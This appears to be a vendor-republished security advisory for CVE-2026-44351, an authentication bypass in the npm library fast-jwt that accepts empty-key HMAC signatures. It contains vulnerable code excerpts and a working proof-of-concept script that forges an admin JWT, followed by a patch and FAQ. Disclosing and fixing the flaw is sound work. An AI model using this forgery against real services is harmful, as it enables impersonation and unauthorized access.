CVE-2026-44351

A critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint, and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. Reproducible 100% against the current latest release [email protected].

Preconditions

For this issue to occur the following MUST ALL be true:

1. The application developer (library consumer) uses an asynchronous callback function to set the key (e.g. createVerifier({key: async (decoded) => ... }))
2. The response from the async callback MUST return an empty string '' OR zero-length buffer (e.g. Buffer.alloc(0)). Any other empty/missing return values (e.g. null, undefined) do not trigger this issue
3. The library configuration must allow HMAC signatures. This is the default for the library.
4. The bad actor MUST have signed their token with an empty string. This is a trivial task and requires no special knowledge.
5. All other aspects of the token (e.g. EXP, IAT claims) MUST be valid. This issue ONLY affects signature checking and all other checks remain enforced.

Details

src/verifier.js prepareKeyOrSecret (lines 33-39):

function prepareKeyOrSecret(key, isSecret) {
  if (typeof key === 'string') {
    key = Buffer.from(key, 'utf-8')
  }
  return isSecret ? createSecretKey(key) : createPublicKey(key)   // ← no length check
}

src/verifier.js async key-resolver flow (lines 429-468):

getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
  ...
  if (typeof currentKey === 'string') {
    currentKey = Buffer.from(currentKey, 'utf-8')   // '' → Buffer.alloc(0)
  } else if (!(currentKey instanceof Buffer)) {
    return callback(... 'string or buffer'...)
  }

  try {
    const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
    // detectPublicKeyAlgorithms('') hits the `!publicKeyPemMatch && !X509`
    // branch → returns hsAlgorithms = ['HS256','HS384','HS512']

    if (validationContext.allowedAlgorithms.length) {
      checkAreCompatibleAlgorithms(allowedAlgorithms, availableAlgorithms)
    } else {
      validationContext.allowedAlgorithms = availableAlgorithms   // default empty → HMAC family assigned
    }

    currentKey = prepareKeyOrSecret(currentKey, availableAlgorithms[0] === hsAlgorithms[0])
    // → createSecretKey(Buffer.alloc(0)), Node accepts the empty secret silently
    verifyToken(currentKey, decoded, validationContext)
  }
})

src/crypto.js verifySignature (lines 286-291):

if (type === 'HS') {
  try {
    return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
  } catch { return false }
}

crypto.createHmac('sha256', emptyKey) works. The HMAC of ${header}.${payload} is fully attacker-computable. timingSafeEqual returns true. The verifier returns the attacker's payload as authentic.

The bug exists only on the function-typed key resolver path. The synchronous key: '' | undefined | null configuration is correctly rejected at createVerifier setup because if (key && keyType !== 'function') short-circuits on falsy keys, and verify then throws MISSING_KEY when a token with a signature arrives. In contrast, the async-resolver path does allow '' to flow through.

PoC

// package.json: { "type": "module" }
// npm i fast-jwt
import { createVerifier } from 'fast-jwt'
import * as crypto from 'node:crypto'

function b64url(buf) {
  return Buffer.from(buf).toString('base64')
    .replace(/=+$/, '').replace(/\+/g, '-').replace(/\//g, '_')
}

// Forge a JWT signed with HMAC-SHA256 over an EMPTY key.
const header = b64url(JSON.stringify({ alg: 'HS256', typ: 'JWT', kid: 'unknown-kid' }))
const payload = b64url(JSON.stringify({
  sub: 'attacker', admin: true,
  iat: Math.floor(Date.now() / 1000),
  exp: Math.floor(Date.now() / 1000) + 60
}))
const input = `${header}.${payload}`
const signature = b64url(crypto.createHmac('sha256', '').update(input).digest())
const forgedToken = `${input}.${signature}`

// Realistic JWKS-style verifier - looks up kid in a key map and falls back
// to '' when the kid is unknown (a widely-used JS idiom).
const verifier = createVerifier({
  key: async (decoded) => ({ 'real-kid': '<real key>' }[decoded.header.kid] || '')
})

console.log(await verifier(forgedToken))

Output on [email protected]:

{ sub: 'attacker', admin: true, iat: 1777372426, exp: 1777372486 }

the attacker-chosen payload is returned as authentic.

Attack matrix verified against [email protected]:

The bug is only not triggered when the caller has explicitly restricted algorithms to a family incompatible with the empty key's detected hsAlgorithms.

Sense checks (also verified against [email protected] to rule out my harness):

• A token signed with the real secret continues to verify correctly. → ACCEPTED.
• A forged-empty-key token sent to a verifier whose resolver returns the real secret is rejected. → INVALID_SIGNATURE.
• The synchronous key: '' (string) configuration is correctly rejected. → MISSING_KEY.

Who is impacted: every Node.js application that uses fast-jwt with a function-typed key resolver, the standard JWKS pattern fast-jwt's own README documents, and whose resolver can ever return '' or a zero-length Buffer (for unknown kid, missing env var, DB miss, exhausted cache, etc.). The trigger pattern keys[decoded.header.kid] || '' is widely used in JS code and AI-generated examples.

Concrete attacker capabilities:

1. Mint arbitrary JWTs with attacker-chosen sub, admin, roles, scopes, iss, aud, etc.
2. Full identity assumption, any application that trusts JWT claims for authorisation grants the attacker whatever role they put in the token.
3. Default-config exploitable, the caller does not need to misconfigure algorithms. With the default empty array, fast-jwt itself assigns ['HS256','HS384','HS512'] when it sees an empty key.
4. Cache amplification, once a forged token is accepted, fast-jwt caches the verification result (default cache size 1000). Subsequent requests skip verification entirely; even a later runtime fix to the resolver would not invalidate the cached forgery within its TTL.

The trigger is unauthenticated, network-reachable, and trivially scriptable, the forged token is just three base64url segments concatenated with dots.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

CVE-2026-44351 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.2.4); upgrading removes the vulnerable code path.

Kodem intelligence

Reject zero-length HMAC secrets in prepareKeyOrSecret:

 function prepareKeyOrSecret(key, isSecret) {
   if (typeof key === 'string') {
     key = Buffer.from(key, 'utf-8')
   }
+
+  if (isSecret && (!key || key.length === 0)) {
+    throw new TokenError(TokenError.codes.invalidKey, 'HMAC secret key must not be empty.')
+  }
+
   return isSecret ? createSecretKey(key) : createPublicKey(key)
 }

This patch in-place was verified against the same PoC and against the full attack matrix: every one of the 18 vulnerable cells now rejects with FAST_JWT_INVALID_KEY, while valid-token verification, valid-secret verification, and the synchronous key: '' rejection path are unaffected.

For defence in depth, the maintainer may also want to enforce RFC 2104's recommended minimum HMAC key length (≥ output size of the hash, 32 bytes for HS256, 48 for HS384, 64 for HS512), gated behind a strictMode flag if backwards compatibility with shorter-but-valid secrets is needed. The empty-key check above is the minimum fix that closes the auth-bypass primitive.

1. What is CVE-2026-44351? CVE-2026-44351 is a critical-severity improper authentication vulnerability in fast-jwt (npm), affecting versions <= 6.2.3. It is fixed in 6.2.4. The application does not adequately verify the identity of a user, device, or process before granting access.
2. How severe is CVE-2026-44351? CVE-2026-44351 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of fast-jwt are affected by CVE-2026-44351? fast-jwt (npm) versions <= 6.2.3 is affected.
4. Is there a fix for CVE-2026-44351? Yes. CVE-2026-44351 is fixed in 6.2.4. Upgrade to this version or later.
5. Is CVE-2026-44351 exploitable, and should I be worried? Whether CVE-2026-44351 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-44351 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-44351? Upgrade fast-jwt to 6.2.4 or later.